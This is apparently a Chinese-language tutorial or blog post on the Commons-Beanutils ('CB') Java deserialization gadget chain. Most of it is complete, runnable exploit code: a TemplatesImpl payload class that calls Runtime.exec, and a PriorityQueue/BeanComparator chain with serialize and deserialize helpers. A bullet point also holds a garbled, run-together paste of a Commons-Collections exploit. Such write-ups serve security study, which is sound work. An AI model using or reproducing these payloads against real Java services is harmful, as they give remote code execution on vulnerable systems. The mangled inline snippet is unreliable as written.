CB链

环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>  
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

Apache Commons Beanutils是Apache Common下的一个工具集下的另一个项目,提供对普通Java类对象(JavaBean)的一些操作方法

JavaBean 是一种JAVA语言写成的可重用组件,它是一个类。
所谓javaBean,是指符合如下标准的Java类:

  • 类是公共的
  • 有一个无参的公共的构造器
  • 有私有属性,且须有对应的get、set方法去设置属性
  • 对于boolean类型的成员变量,允许使用”is”代替上面的”get”和”set”

在java中,有很多类定义都符合这样的规范。一个简单的 javaBean:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.javatest;

import org.apache.commons.beanutils.PropertyUtils;

/**
* Hello world!
*
*/
public class APP

{
public static void main( String[] args ) throws Exception {
PropertyUtils.getProperty(new User("test","111"), "name");
}

}

在 CB 中有个工具类叫PropertyUtils,它可以对 javaBean 进行一些操作

PropertyUtils类下提供了一些静态方法,以方便开发者直接调用一些getter和setter方法:

  • getProperty:返回指定Bean的指定属性的值
  • getSimpleProperty:返回指定Bean的指定属性的值
  • setProperty:设置指定Bean的指定属性的值
  • setSimpleProperty:设置指定Bean的指定属性的值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.javatest;

public class User {
private String name="Boogipop";
private String age;

public String getName() {
System.out.println("get");
return name;
}

public void setName(String name) {
System.out.println("set");
this.name = name;
}

public User(String name, String age) {
this.name = name;
this.age = age;
}

public String getAge() {
System.out.println("get");
return age;
}

public void setAge(String age) {
System.out.println("set");
this.age = age;
}
}

在BeanComparator类中compare方法调用了PropertyUtils.getProperty方法

在TemplatesImpl类中恰好存在getOutputProperties()这样类似的符合javaBean规范的

  • 方法命名以get开头,
  • xxxxxxxxxx package com.javatest;import com.sun.javafx.collections.MappingChange;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;​import java.io.;import java.lang.annotation.Documented;import java.lang.annotation.Target;import java.lang.invoke.MethodHandle;import java.lang.reflect.;import javax.swing.text.html.ObjectView;import java.util.HashMap;import java.util.Map;public class Test {    public static void main(String[] args) throws Exception {​        Transformer[] transformerArray=new Transformer[]{                new ConstantTransformer(Runtime.class),        //解决问题一:AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控                new InvokerTransformer(“getDeclaredMethod”,new Class[]{String.class,Class[].class},new Object[]{“getRuntime”,null}),                new InvokerTransformer(“invoke”,new Class[]{Object.class,Object[].class},new Object[]{null,null}),                new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc”})       };​        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);​        Map map =new HashMap();        map.put(“”,”awaa”);        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer);​        Class  a = Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”);        Constructor annntation = a.getDeclaredConstructor(Class.class,Map.class);        annntation.setAccessible(true);        InvocationHandler handler = (InvocationHandler) annntation.newInstance(Documented.class, lazyMap);        Map inv = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);​        Object obj = annntation.newInstance(Documented.class,inv);​        serialize(obj);        unserialize(“ser2.bin”);   }​//   序列化方法    public static void serialize(Object object) throws Exception {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(“ser2.bin”));        oos.writeObject(object);   }​    //反序列化方法    public static void unserialize(String filename) throws Exception {        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));        objectInputStream.readObject();   }}​java
  • 参数 无参数
  • 返回值 Properties

并且恰好存在调用了newTransformer()

通过反射对property赋值为outputProperties,并且使用反射对PriorityQueue类中的queue的值赋值为templates

1
2
3
4
5
6
7
8
9
10
11
12
//.....
BeanComparator Beancomparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2,Beancomparator);
setValue(Beancomparator,"property","outputProperties");
setValue(queue,"queue",new Object[]{templates,templates});
public static void setValue(Object object, String fieldName, Object value) throws Exception {
Class obj = object.getClass();
Field field = obj.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
//.....

最终Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.javatest;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Pay extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package com.javatest;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import javax.xml.transform.Templates;
import javax.xml.transform.Transformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","aaa");
byte[] code = Files.readAllBytes(Paths.get("E:\\java-test\\CB\\CB\\target\\classes\\com\\javatest\\Pay.class"));
byte[][] codes = {code};

setValue(templates,"_bytecodes",codes);
setValue(templates,"_tfactory",new TransformerFactoryImpl());

BeanComparator Beancomparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2,Beancomparator);

Class cl = Class.forName("java.util.PriorityQueue");
Field f = cl.getDeclaredField("size");
f.setAccessible(true);
f.set(queue, 2);

setValue(Beancomparator,"property","outputProperties");
setValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数

serialize(queue);
unserialize("ser1.bin");
}

//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

public static void setValue(Object object, String fieldName, Object value) throws Exception {
Class obj = object.getClass();
Field field = obj.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
}